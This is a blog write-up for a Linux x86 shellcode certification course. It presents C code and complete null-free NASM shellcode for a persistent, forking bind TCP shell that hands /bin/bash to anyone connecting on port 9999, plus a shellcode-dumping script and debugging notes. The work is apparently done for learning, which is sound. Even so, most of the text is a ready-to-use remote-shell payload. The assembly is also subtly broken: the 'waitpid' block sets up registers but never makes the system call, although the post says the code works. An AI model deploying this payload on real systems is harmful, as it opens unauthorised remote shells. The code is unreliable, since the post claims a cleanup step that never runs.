SLAE32 Assignment 1: Bind TCP Shell
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1009
The first assignment requires the implementation of a bind tcp shell. Now I know that typically one of the goals of shellcode is to make it short. However, since this is my first major foray into shellcode, I wanted to learn the most I could and so I opted to try to make the shellcode more full featured instead of small and compact. In thinking about bind shells, one of the main annoying things is that if the shell dies for whatever reason, you have to reexploit the software, as typically bind shells accept only one connection. So for my bind shell, I wanted to make it persist and accept connections repeatedly. As such, I needed to add some multiprocess functionality to the shellcode.
The first step was to write the general code in C to see how the system calls will be laid out. The following is the code I came up with.
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
int main(){
char *execargs[] = {"/bin//sh", 0};
int port = 9999;
struct sockaddr_in server_sa;
int sockaddr_size = sizeof(struct sockaddr_in);
// clear it out
memset(&server_sa, 0, sizeof(struct sockaddr_in));
// setup the socket information
server_sa.sin_family=AF_INET;
server_sa.sin_port = htons(port);
server_sa.sin_addr.s_addr = 0x00000000; //INADDR_ANY
// create the socket
int serversock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
// bind the socket to the address and port
bind(serversock, (struct sockaddr *)&server_sa, sockaddr_size);
// listed for incoming connections
listen(serversock, 0);
while(1){
// accept a new connection
struct sockaddr_in client_sa;
int clientsock = accept(serversock, (struct sockaddr *) &client_sa, &sockaddr_size);
int child = fork();
if (!child){
// this is the child
dup2(clientsock,0);
dup2(clientsock,1);
dup2(clientsock,2);
execve(execargs[0],execargs,0);
}
else {
int status;
waitpid(child,&status,0);
}
}
}
So as you can see, the sequence of system calls are socket
, bind
, listen
, accept
, fork
, waitpid
for the parent, and dup
and execve
for the child.
At this point I went into /usr/include/i386-linux-gnu/asm/unistd_32.h to find the syscall numbers, and found that the socket calls did not exist. Also, from looking at other bind shellcodes, I could see that there is one syscall for all the networking functions, namely socketcall
, and the first parameter is the type of socket function that we are requesting. So the next step is to find the numbers for each syscall. We also need to find the values for all the parameters, such as AF_INET and IPPROTO_TCP. So to find all this out, I compiled the c code and stepped through it using gdb and examined the values of the registers before each syscall.
First socket. socket
takes three integer arguments. In order to do this, I first do a break _start
, then run
, then disassemble __socket
.
As you can see there is a call to DWORD PTR gs:0x10
. Let’s step into that function and see what is going on.
That is clearly where the syscall is happening, so let’s step to the int 0x80
and see what the registers look like.
As we can see, eax has a value of 0x66 (or 102 in decimal). That is the value of the syscall number for socketcall. The socket function is the value in ebx, which is 1. The ecx register contains a pointer to the three values that have been pushed onto the stack, namely 2, 1, and 6. So we have our socket call number, as well as the values for AF_INET, SOCK_STEAM, and IPPROTO_TCP.
Using this same technique, we can examine the contents of the registers at each syscall to make sure we get the appropriate values on the stack and the appropriate values and addresses in the registers. In doing so, we find that the types for the socketcalls are as follows: socket (1), bind (2), listen (4), and accept (5).
Based on this, I was able to create the following nasm code:
; Filename: shell_bind_fork_tcp.nasm
; Author: Mark Shaneck
; Website: http://markshaneck.com
;
;
; Purpose: The purpose of this shellcode is to serve shells
; to multiple clients without exiting
global _start
section .text
_start:
; Set up the socket
; need to call socketcall with args 1, and domain (2), type (1), protocol(6)
xor eax, eax
mov al, 6 ; protocol = IPPROTO_TCP
push eax
mov al, 1 ; type = SOCK_STREAM
push eax
mov al, 2 ; domain = AF_INET
push eax
mov al, 102 ; syscall - socketcall
xor ebx,ebx
mov bl, 1 ; socket sockcall type
mov ecx, esp ; pointer to the args
int 0x80
; eax now contains the socket file descriptor
; save it in esi for later usage
mov esi,eax
; Bind to the socket
; need to contruct the sockaddr_in
; this is 02 00 27 0f 00 00 00 00 00 00 00 00 00 00 00 00 for port 9999
xor ebx,ebx
push ebx ; null padding
push ebx ; null padding
push ebx ; INADDR_ANY
; perform a jmp-call-pop to get the port number so that it is easily configurable
jmp short get_port
got_port:
xor edx,edx
pop ecx ; put address of port number into ecx
mov ecx,[ecx] ; put port number into ecx
mov dx, cx
shl edx,16
mov ebx, 0xf00f0ff2
and ebx, 0x0ff0f00f
add ebx,edx ;get 0x0200270f into ebx without any null bytes in the instructions
push ebx
mov ebx, esp ; now ebx has the address of the sockaddr_in struct
xor ecx,ecx
mov cl, 16
push ecx
push ebx
push esi
mov ecx, esp
xor ebx,ebx
mov bl, 2 ; bind sockcall type
xor eax,eax
mov al, 102 ; syscall - socketcall
int 0x80
; Listen on the socket
xor eax,eax
push eax
push esi
mov ecx,esp ; pointer to args
xor ebx,ebx
mov bl, 4 ; listen sockcall type
mov al, 102 ; syscall - socketcall
int 0x80
handle_connections:
; accept a connection
xor eax,eax
mov al, 16
push eax ; sockaddr_in length
mov edx, esp ; store address of sockaddr_len
sub esp, 16 ; allocate space for client sockaddr
push edx ; address for sockaddr_len
sub edx, 16
push edx ; address for client sockaddr
push esi ; socket file descriptor
mov ecx, esp ; pointer to args
xor ebx,ebx
mov bl, 5 ; accept sockcall type
mov al, 102 ; syscall - socketcall
int 0x80
; avoid memory leak and we don't care about the client sockaddr anyways
; also we won't process more than one connection at a time
add esp,32
; save the clientsocket
mov edi,eax
; fork to process the connection
xor eax,eax
mov al, 2
int 0x80
xor ebx,ebx ; get a 0 to compare against
cmp eax,ebx ; compare with zero
je child ; if fork return a zero, we are in the child process
; call waitpid to prevent zombies
xor edx,edx ; options
sub esp,4 ; allocate space for return status
mov ecx,esp
mov ebx,eax ; child pid
xor eax,eax
mov al, 7 ; waitpid syscall
add esp,4 ; restore stack from child exit status
; infinite loop
jmp handle_connections
; need an intermediate target, since my code is too long for a short jump
get_port:
jmp get_port_2
child:
; duplicate the file descriptors
mov ebx,edi
xor ecx,ecx
xor eax,eax
mov al, 63 ; dup2 syscall
int 0x80 ; dup2(clientsock, 0)
mov al, 63
inc ecx
int 0x80 ; dup2(clientsock, 1)
mov al, 63
inc ecx
int 0x80 ; dup2(clientsock, 2)
; execve the shell using stack method
; let's execute bash
xor eax,eax
push eax
push 0x68736162
push 0x2f6e6962
push 0x2f2f2f2f
mov ebx,esp ; pointer to "////bin/bash"
push eax
mov edx,esp ; env pointer (NULL)
push ebx
mov ecx,esp ; pointer to [pointer to "////bin/bash", 0]
mov al, 11 ; execve syscall
int 0x80
get_port_2:
call got_port
port: db 0x27, 0x0f ; port 9999
; easy to configure the port number, just change the last two bytes
I compiled this asm code with a modified version of the compile script given in the course:
#!/bin/bash
echo '[+] Assembling with Nasm ... '
nasm -f elf32 -o $1.o $1.nasm
echo '[+] Linking ...'
ld -o $1 $1.o
echo '[+] Dumping shellcode ...'
echo -ne "\""
for s in `objdump -d $1 | grep "^ " | cut -f2`
do
if [ $s == "00" ]
then
echo "Shellcode contains a null byte! Aborting!"
exit
else
echo -n '\x'$s
fi
done
echo "\""
echo '[+] Done!'
This script does the regular compilation, but also spits out the shellcode if it contains no null bytes. So I was able to run the executable file directly to test to make sure it worked.
Running directly results in a successful shell:
Pasting the shellcode into the shellcode.c stub file shows us that it works here also!
So it could have been more compact, and I will look to make my future shellcode more compact, but I learned a lot through the process of putting this together. Also, since the port number is the last two bytes of the shell code, it is easy to configure the port number without reassembling and linking by just replacing the last two bytes of the shellcode.
All necessary code from this assignment can be found here
Bonus Lessons Learned
So to help communicate the process of discovery that one goes through in learning challenging technical concepts, I wanted to share the following story. After deducing the appropriate values for the syscalls and socketcalls and other values, I wrote the assembly code version. I tried it out and it worked great. I then moved to a new machine and planned to do the rest of the assignment and writeups on the new machine, with a new 32 bit virtual machine. When I tested the code on the new vm, it didn’t work. I dug a little deeper and realized I had a typo in my assembly code and it was selecting a random port to listen on. I ran it through the debugger on the original machine and saw that it was doing that there also.
So why did I think it worked? The virtual machine that I had used originally I had been using last Spring for some malware analysis and had installed an internet simulator. This internet simulator just happened to be serving a shell on port 9999, which is the (random) port I chose for this bind shellcode. So when I thought I was connecting to the bind shell, I was really connecting to another bind shell that I had forgotten to shut off from the last time I had used that vm. Duh.
The typos I made? One was forgetting about little endian in the integer the contains the socket family and port number. The second was forgetting to zero out the ecx register before putting the sockaddr_in length into it. Once those were fixed, the commands were being sent through the shell, but the results were being printed on the server side. This was due to the fact that I had originally called the dup2 three times in sequence, changing ecx each time but not resetting eax back to the dup2 syscall.
Once I had fixed all of those errors, it worked in the normal executable. However, once I pasted the shellcode into the stub file and ran it from the stack, it would continuously spawn children but no shell.
It didn’t take long with the debugger for me to realize that before setting the ebx register for the intial socket call, I hadn’t cleared it out, so the mv bl, 1
was simply changing a value that was already there. In the regular executable, ebx started out as 0, but when running from the stack, it wasn’t. Once that was fixed, it worked beautifully.